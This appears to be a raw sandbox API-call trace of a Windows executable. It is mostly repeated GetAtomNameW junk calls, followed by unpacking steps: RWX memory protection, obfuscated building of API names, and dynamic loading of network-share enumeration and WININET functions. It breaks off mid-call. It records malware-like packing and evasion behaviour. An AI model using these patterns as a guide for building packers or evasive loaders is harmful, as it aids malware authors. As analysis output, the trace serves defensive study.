GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0047.920] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0047.920] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0047.920] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0047.920] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0047.920] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0047.920] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0047.920] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0047.920] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0047.920] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0047.920] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0047.920] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0047.920] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0047.920] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0047.920] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0047.920] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0047.920] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0047.920] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0047.920] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0047.920] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0047.920] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0047.920] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0047.920] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0047.920] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0047.921] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0047.921] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0047.921] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0047.921] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0047.921] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0047.921] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0047.921] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0047.921] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0047.921] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0047.921] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0047.921] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0047.921] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0047.921] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0047.921] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0047.921] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0047.921] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0047.921] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0047.921] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0047.921] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0047.921] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0047.921] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0047.921] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0047.921] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0047.921] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0047.921] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0047.921] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0047.921] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0047.921] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0047.921] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0047.921] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0047.921] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0047.921] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0047.921] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0047.921] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0047.921] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0047.921] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0047.921] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0047.921] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0047.921] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0047.921] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0047.921] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0047.921] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0047.921] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0047.921] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0047.922] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0047.922] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0047.922] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0047.922] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0047.922] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0047.922] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0047.922] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0047.922] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0047.922] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0047.922] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0047.922] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0047.922] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0047.922] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0047.922] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0047.922] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0047.922] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0047.922] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0047.922] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0047.922] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0047.922] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0047.922] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0047.922] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0047.922] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0047.922] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0047.922] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0047.922] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0047.922] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0047.922] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0047.922] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0047.922] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0047.922] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0047.922] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0047.922] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0047.922] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0047.922] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0047.922] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0047.922] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0047.922] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0047.922] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0047.922] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0047.922] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0047.922] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0047.922] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0047.922] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0047.923] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0047.923] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0047.923] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0047.923] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0047.923] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0047.923] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0047.923] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0047.923] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0047.923] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0047.923] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0047.923] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0047.923] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0047.923] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0047.923] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0047.923] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0047.923] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0047.923] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0047.923] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0047.923] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0047.923] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0047.923] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0047.923] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0047.923] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0047.923] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0047.923] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0047.923] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0047.923] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0047.923] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0047.923] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0047.923] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0047.923] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0047.923] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0047.923] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0047.923] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0047.923] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0047.923] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0047.923] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0047.923] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0047.923] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0047.923] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0047.923] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0047.923] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0047.923] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0047.923] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0047.924] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0047.924] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0047.924] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0047.924] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0047.924] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0047.924] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0047.924] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0047.924] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0047.924] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0047.924] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0047.924] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0047.924] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0047.924] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0047.924] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0047.924] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0047.924] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0047.924] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0047.924] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0047.924] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0047.924] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0047.924] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0047.924] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0047.924] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0047.924] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0047.924] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0047.924] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0047.924] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0047.924] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0047.924] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0047.924] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0047.924] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0047.924] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0047.924] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0047.924] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0047.924] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0047.973] lstrcpyA (in: lpString1=0x4b0340, lpString2="kernel32.dll" | out: lpString1="kernel32.dll") returned="kernel32.dll" [0047.973] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x76d30000 [0047.984] lstrcatA (in: lpString1="", lpString2="Virtual" | out: lpString1="Virtual") returned="Virtual" [0047.984] lstrcatA (in: lpString1="", lpString2="Protect" | out: lpString1="Protect") returned="Protect" [0047.984] GetProcAddress (hModule=0x76d30000, lpProcName="VirtualProtect") returned 0x76d4435f [0048.019] VirtualProtect (in: lpAddress=0x6f0020, dwSize=0x90e00, flNewProtect=0x40, lpflOldProtect=0x18fe68 | out: lpflOldProtect=0x18fe68*=0x4) returned 1 [0048.107] LoadLibraryA (lpLibFileName="kernel32.dll") returned 0x76d30000 [0048.107] GetProcAddress (hModule=0x76d30000, lpProcName="GlobalAlloc") returned 0x76d4588e [0048.107] GetProcAddress (hModule=0x76d30000, lpProcName="GetLastError") returned 0x76d411c0 [0048.107] GetProcAddress (hModule=0x76d30000, lpProcName="Sleep") returned 0x76d410ff [0048.107] GetProcAddress (hModule=0x76d30000, lpProcName="VirtualAlloc") returned 0x76d41856 [0048.108] GetProcAddress (hModule=0x76d30000, lpProcName="CreateToolhelp32Snapshot") returned 0x76d6735f [0048.108] GetProcAddress (hModule=0x76d30000, lpProcName="Module32First") returned 0x76dc5cd9 [0048.108] GetProcAddress (hModule=0x76d30000, lpProcName="CloseHandle") returned 0x76d41410 [0048.108] CreateToolhelp32Snapshot (dwFlags=0x8, th32ProcessID=0x0) returned 0x30 [0048.109] Module32First (hSnapshot=0x30, lpme=0x18fc00) returned 1 [0048.110] VirtualAlloc (lpAddress=0x0, dwSize=0x119e50, flAllocationType=0x1000, flProtect=0x40) returned 0x790000 [0048.144] GetProcAddress (hModule=0x76d30000, lpProcName="LoadLibraryA") returned 0x76d449d7 [0048.144] LoadLibraryA (lpLibFileName="kernel32.dll") returned 0x76d30000 [0048.144] GetProcAddress (hModule=0x76d30000, lpProcName="VirtualAlloc") returned 0x76d41856 [0048.144] GetProcAddress (hModule=0x76d30000, lpProcName="VirtualProtect") returned 0x76d4435f [0048.144] GetProcAddress (hModule=0x76d30000, lpProcName="VirtualFree") returned 0x76d4186e [0048.144] GetProcAddress (hModule=0x76d30000, lpProcName="GetVersionExA") returned 0x76d43519 [0048.144] GetProcAddress (hModule=0x76d30000, lpProcName="TerminateProcess") returned 0x76d5d802 [0048.144] GetProcAddress (hModule=0x76d30000, lpProcName="ExitProcess") returned 0x76d47a10 [0048.144] GetProcAddress (hModule=0x76d30000, lpProcName="SetErrorMode") returned 0x76d41b00 [0048.144] SetErrorMode (uMode=0x400) returned 0x0 [0048.144] SetErrorMode (uMode=0x0) returned 0x400 [0048.144] GetVersionExA (in: lpVersionInformation=0x18eb30*(dwOSVersionInfoSize=0x94, dwMajorVersion=0x65006564, dwMinorVersion=0x7373, dwBuildNumber=0x3, dwPlatformId=0xffffffff, szCSDVersion="s}Çw") | out: lpVersionInformation=0x18eb30*(dwOSVersionInfoSize=0x94, dwMajorVersion=0x6, dwMinorVersion=0x1, dwBuildNumber=0x1db1, dwPlatformId=0x2, szCSDVersion="Service Pack 1")) returned 1 [0048.144] VirtualAlloc (lpAddress=0x0, dwSize=0x119000, flAllocationType=0x1000, flProtect=0x4) returned 0x8b0000 [0048.161] VirtualProtect (in: lpAddress=0x400000, dwSize=0x137000, flNewProtect=0x40, lpflOldProtect=0x18fbb8 | out: lpflOldProtect=0x18fbb8*=0x2) returned 1 [0048.320] LoadLibraryA (lpLibFileName="RPCRT4.dll") returned 0x76af0000 [0048.327] GetProcAddress (hModule=0x76af0000, lpProcName="RpcStringFreeW") returned 0x76b11635 [0048.327] GetProcAddress (hModule=0x76af0000, lpProcName="UuidCreate") returned 0x76b0f48b [0048.327] GetProcAddress (hModule=0x76af0000, lpProcName="UuidToStringW") returned 0x76b31ee5 [0048.327] GetProcAddress (hModule=0x76af0000, lpProcName="RpcStringFreeA") returned 0x76b33fc5 [0048.327] GetProcAddress (hModule=0x76af0000, lpProcName="UuidToStringA") returned 0x76b6d918 [0048.327] LoadLibraryA (lpLibFileName="MPR.dll") returned 0x75640000 [0048.329] GetProcAddress (hModule=0x75640000, lpProcName="WNetOpenEnumW") returned 0x75642f06 [0048.329] GetProcAddress (hModule=0x75640000, lpProcName="WNetEnumResourceW") returned 0x75643058 [0048.329] GetProcAddress (hModule=0x75640000, lpProcName="WNetCloseEnum") returned 0x75642dd6 [0048.329] LoadLibraryA (lpLibFileName="WININET.dll") returned 0x758d0000 [0048.356] GetProcAddress (hModule=0x758d0000, lpProcName="InternetCloseHandle") returned 0x758eab49 [0048.356] GetProcAddress (hModule=0x758d0000, lpProcName="InternetReadFile") returned 0x758eb406 [0048.356] GetProcAddress (hModule=0x758d0000, lpProcName="InternetOpenUrlW") returned 0x7594be5c [0048.356] GetProcAddress (hModule=0x758d0000, lpProcName="InternetOpenW") returned 0x758f9197 [0048.356] GetProcAddress (hModule=0x758d0000, lpProcName="HttpQueryInfoW") returned 0x758f5c75 [0048.356] GetProcAddress (hModule=0x758d0000, lpProcName="InternetOpenA") returned 0x758ff18e [0048.356] GetProcAddress (hModule=0x758d0000, lpProcName="InternetOpenUrlA") returned 0x759130f1 [0048.356] LoadLibraryA (lpLibFileName="WINMM.dll") returned 0x75600000 [0048.359] GetProcAddress (hModule=0x75600000, lpProcName="timeGetTime") returned 0x756026e0 [0048.359] LoadLibraryA 